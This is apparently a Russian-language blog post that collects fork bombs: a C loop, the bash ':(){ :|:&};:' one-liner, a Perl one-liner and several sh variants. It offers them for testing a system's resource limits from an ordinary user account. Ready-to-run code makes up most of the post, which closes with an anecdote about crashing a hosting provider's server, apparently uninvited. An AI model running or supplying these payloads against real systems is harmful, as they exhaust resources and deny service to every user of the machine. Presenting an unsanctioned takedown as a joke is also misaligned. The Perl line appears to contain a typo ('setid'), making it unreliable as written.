Осторожно — бомба!

Нет ничего лучшего для теста на защищенность системы изнутри, чем прогон различных форкбомб, запущенных из-под обычного пользователя.

Коллекцию подобных бомб я и хочу сегодня представить. Но для начала, немного о том, что такое это самое — fork-бомба?

Если говорить простым языком, то обычная программа, которая в бесконечном цикле запускает саму себя через fork и забивает ресурсы системы с геометрической прогрессией.

Осторожно! Запуск нижеприведенного кода способен нарушить работу вашей системы! Действуйте на свой страх и риск.

КлаC++ика на C:

 #include <unistd.h>
 int main()
 {
   while(1)
     fork();
 }

еbash:

:(){ :|:&};:

perlовка:

perl -MPOSIX -e "$pid=fork; exit if $pid; setid; fork while(1)"

страshны sh:

  1. Запуск файла с таким вот содержимым:
    #!/bin/sh
    $0 & $0 &
  2. . ./_`echo . ./_\&. ./_>_`
  3. $ echo ". ./_&. ./_">_;. ./_

Помню как один хостер когда-то решил похвастать, что выставил лимиты на апач и его сервер ничем не свалить. Ну да, действительно на nobody, от которого пускался апач — стояли лимиты и запрет exec в php. Но на сервере оставался perl через suexec. Вобщем пришлось ему ребутить сервак :)

Так что — осторожнее. Пусть и форковая, это все-таки бомба. Не пускайте ее на продакшене. И да пребудет с вами сила RLIMIT on Execive 😉